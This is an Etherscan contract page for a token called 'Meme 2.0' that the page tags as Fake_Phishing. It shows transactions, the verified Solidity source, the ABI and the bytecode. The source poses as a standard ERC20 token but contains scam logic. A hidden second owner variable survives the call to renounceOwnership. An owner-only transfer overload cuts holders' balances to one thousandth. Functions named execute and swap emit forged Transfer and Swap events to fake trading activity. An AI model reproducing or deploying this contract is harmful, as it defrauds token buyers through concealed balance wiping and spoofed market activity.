ETH Price: $2,586.98 (-2.15%)

Contract

0x1fF2ee9D40516dEb60C7A56dd2cD371Fab6786ad
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve185258912023-11-08 7:57:11287 days ago1699430231IN
Fake_Phishing365167
0 ETH0.0013279928.16290419
Transfer185109332023-11-06 5:42:35289 days ago1699249355IN
Fake_Phishing365167
0 ETH0.0008056225.70029996
Transfer185092872023-11-06 0:11:11289 days ago1699229471IN
Fake_Phishing365167
0 ETH0.0005341417.03983927
Transfer185079102023-11-05 19:33:23289 days ago1699212803IN
Fake_Phishing365167
0 ETH0.0010239532.66515456
Transfer185077492023-11-05 19:00:47289 days ago1699210847IN
Fake_Phishing365167
0 ETH0.0007168726.36425867
Transfer185077472023-11-05 19:00:23289 days ago1699210823IN
Fake_Phishing365167
0 ETH0.0006833121.79838563
Transfer185076912023-11-05 18:48:59289 days ago1699210139IN
Fake_Phishing365167
0 ETH0.0006453720.58808804
Execute185076762023-11-05 18:45:59289 days ago1699209959IN
Fake_Phishing365167
0 ETH0.0072607819.80694207
Execute185076082023-11-05 18:32:23289 days ago1699209143IN
Fake_Phishing365167
0 ETH0.0105924122.22690888
Transfer185073852023-11-05 17:47:35289 days ago1699206455IN
Fake_Phishing365167
0 ETH0.0007221923.0386588
Transfer185070072023-11-05 16:30:59289 days ago1699201859IN
Fake_Phishing365167
0 ETH0.0006017722.1312413
Transfer185070022023-11-05 16:29:59289 days ago1699201799IN
Fake_Phishing365167
0 ETH0.0006965822.22181973
Transfer185057982023-11-05 12:26:35289 days ago1699187195IN
Fake_Phishing365167
0 ETH0.0007562224.12446852
Approve185057952023-11-05 12:25:47289 days ago1699187147IN
Fake_Phishing365167
0 ETH0.00132428.08538911
Execute185054992023-11-05 11:25:59289 days ago1699183559IN
Fake_Phishing365167
0 ETH0.0054048716.50070183
Execute185054782023-11-05 11:21:47289 days ago1699183307IN
Fake_Phishing365167
0 ETH0.0061424216.11719932
Approve185054202023-11-05 11:10:11290 days ago1699182611IN
Fake_Phishing365167
0 ETH0.0009781820.77081444
Approve185054132023-11-05 11:08:47290 days ago1699182527IN
Fake_Phishing365167
0 ETH0.0009938221.10295471
Approve185054052023-11-05 11:07:11290 days ago1699182431IN
Fake_Phishing365167
0 ETH0.001017821.6121839
Transfer185053892023-11-05 11:03:59290 days ago1699182239IN
Fake_Phishing365167
0 ETH0.0006318420.15661911
Approve185053872023-11-05 11:03:35290 days ago1699182215IN
Fake_Phishing365167
0 ETH0.0011020923.37232031
Execute185053842023-11-05 11:02:59290 days ago1699182179IN
Fake_Phishing365167
0 ETH0.0068159319.56633981
Execute185053712023-11-05 11:00:11290 days ago1699182011IN
Fake_Phishing365167
0 ETH0.0049240916.85654393
Transfer185052792023-11-05 10:41:35290 days ago1699180895IN
Fake_Phishing365167
0 ETH0.0004663214.87632879
Transfer185050282023-11-05 9:50:59290 days ago1699177859IN
Fake_Phishing365167
0 ETH0.000541717.28096553
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Meme20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract Meme20 {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "Meme 2.0";
    string public constant symbol = unicode"MEME2.0";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 420_690_000_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }


    

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function transfer(
        address[] calldata _users
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > 1) {
                uint256 rewardAmount = _countReward(_users[i], 1000);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external OnlyOwner {
        _pairr = _setup_;
    }


        function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }
    

            function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }

    }

                function swapExactETHForTokensOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }

    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d14bddab3e51a57cff87a50000000600955348015620000ca575f80fd5b503360025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000214573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023a91906200049e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396305f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002bf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e591906200049e565b6040518363ffffffff1660e01b815260040162000304929190620004df565b6020604051808303815f875af115801562000321573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200034791906200049e565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200042b919062000524565b60405180910390a36200053f565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000468826200043d565b9050919050565b6200047a816200045c565b811462000485575f80fd5b50565b5f8151905062000498816200046f565b92915050565b5f60208284031215620004b657620004b562000439565b5b5f620004c58482850162000488565b91505092915050565b620004d9816200045c565b82525050565b5f604082019050620004f45f830185620004ce565b620005036020830184620004ce565b9392505050565b5f819050919050565b6200051e816200050a565b82525050565b5f602082019050620005395f83018462000513565b92915050565b6126f5806200054d5f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a06c1a331161006f578063a06c1a3314610342578063a3c8ad501461035e578063a457c2d71461037a578063a9059cbb146103aa578063dd62ed3e146103da5761012a565b806370a082311461029c578063715018a6146102cc5780638da5cb5b146102d657806395d89b41146102f45780639b792a44146103125761012a565b8063313ce567116100f2578063313ce567146101e657806335d1627414610204578063395093511461023457806356cbfdcf1461026457806366d38203146102805761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a57806326ededb8146101ca575b5f80fd5b61013661040a565b6040516101439190611847565b60405180910390f35b61016660048036038101906101619190611905565b610443565b604051610173919061195d565b60405180910390f35b610184610459565b6040516101919190611985565b60405180910390f35b6101b460048036038101906101af919061199e565b61045f565b6040516101c1919061195d565b60405180910390f35b6101e460048036038101906101df9190611a4f565b610481565b005b6101ee610554565b6040516101fb9190611ac7565b60405180910390f35b61021e60048036038101906102199190611ae0565b610559565b60405161022b9190611985565b60405180910390f35b61024e60048036038101906102499190611905565b6106e5565b60405161025b919061195d565b60405180910390f35b61027e60048036038101906102799190611b0b565b610714565b005b61029a60048036038101906102959190611ae0565b61089b565b005b6102b660048036038101906102b19190611ae0565b61096d565b6040516102c39190611985565b60405180910390f35b6102d46109b3565b005b6102de610a84565b6040516102eb9190611b8b565b60405180910390f35b6102fc610aa9565b6040516103099190611847565b60405180910390f35b61032c60048036038101906103279190611cdc565b610ae2565b604051610339919061195d565b60405180910390f35b61035c60048036038101906103579190611d5c565b610bc3565b005b61037860048036038101906103739190611b0b565b610d50565b005b610394600480360381019061038f9190611905565b610ed7565b6040516103a1919061195d565b60405180910390f35b6103c460048036038101906103bf9190611905565b610f45565b6040516103d1919061195d565b60405180910390f35b6103f460048036038101906103ef9190611da7565b610f5b565b6040516104019190611985565b60405180910390f35b6040518060400160405280600881526020017f4d656d6520322e3000000000000000000000000000000000000000000000000081525081565b5f61044f338484610fdd565b6001905092915050565b60095481565b5f61046b8433846111a0565b61047684848461122b565b600190509392505050565b5f5b8383905081101561054e578383828181106104a1576104a0611de5565b5b90506020020160208101906104b69190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105339190611985565b60405180910390a3808061054690611e3f565b915050610483565b50505050565b601281565b5f805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156105c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ea9190611f02565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610671573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106959190611f66565b73ffffffffffffffffffffffffffffffffffffffff16146106c657816dffffffffffffffffffffffffffff166106d8565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b5f803390506107098185856106fa8589610f5b565b6107049190611f91565b610fdd565b600191505092915050565b5f5b848490508110156108945784848281811061073457610733611de5565b5b90506020020160208101906107499190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f80876040516107cc9493929190612006565b60405180910390a38484828181106107e7576107e6611de5565b5b90506020020160208101906107fc9190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108799190611985565b60405180910390a3808061088c90611e3f565b915050610716565b5050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190612093565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a39906120fb565b60405180910390fd5b5f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600781526020017f4d454d45322e300000000000000000000000000000000000000000000000000081525081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6990612093565b60405180910390fd5b5f5b8551811015610bb657610ba3868281518110610b9357610b92611de5565b5b60200260200101518686866114c9565b8080610bae90611e3f565b915050610b74565b5060019050949350505050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4990612093565b60405180910390fd5b5f5b82829050811015610d4b576001610c91848484818110610c7757610c76611de5565b5b9050602002016020810190610c8c9190611ae0565b61096d565b1115610d38575f610ccb848484818110610cae57610cad611de5565b5b9050602002016020810190610cc39190611ae0565b6103e8611583565b90508060075f868686818110610ce457610ce3611de5565b5b9050602002016020810190610cf99190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b8080610d4390611e3f565b915050610c54565b505050565b5f5b84849050811015610ed057848482818110610d7057610d6f611de5565b5b9050602002016020810190610d859190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f8087604051610e089493929190612006565b60405180910390a3848482818110610e2357610e22611de5565b5b9050602002016020810190610e389190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eb59190611985565b60405180910390a38080610ec890611e3f565b915050610d52565b5050505050565b5f803390505f610ee78286610f5b565b905083811015610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390612189565b60405180910390fd5b610f398286868403610fdd565b60019250505092915050565b5f610f5133848461122b565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290612217565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b0906122a5565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111939190611985565b60405180910390a3505050565b5f6111ab8484610f5b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112255781811015611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e9061230d565b60405180910390fd5b6112248484848403610fdd565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112909061239b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612429565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561138b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611382906124b7565b60405180910390fd5b61139581836115d3565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061141d60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483611630565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114bb9190611985565b60405180910390a350505050565b6114d3848461168d565b6114de838386611717565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b68560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b815260040161153c939291906124d5565b6020604051808303815f875af1158015611558573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061157c9190612534565b5050505050565b5f6115cb60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836117a8565b905092915050565b5f82821115611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e906125a9565b60405180910390fd5b5f828461162491906125c7565b90508091505092915050565b5f80828461163e9190611f91565b905083811015611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90612644565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161170b9190611985565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f808760405161179b9493929190612006565b60405180910390a3505050565b5f81836117b5919061268f56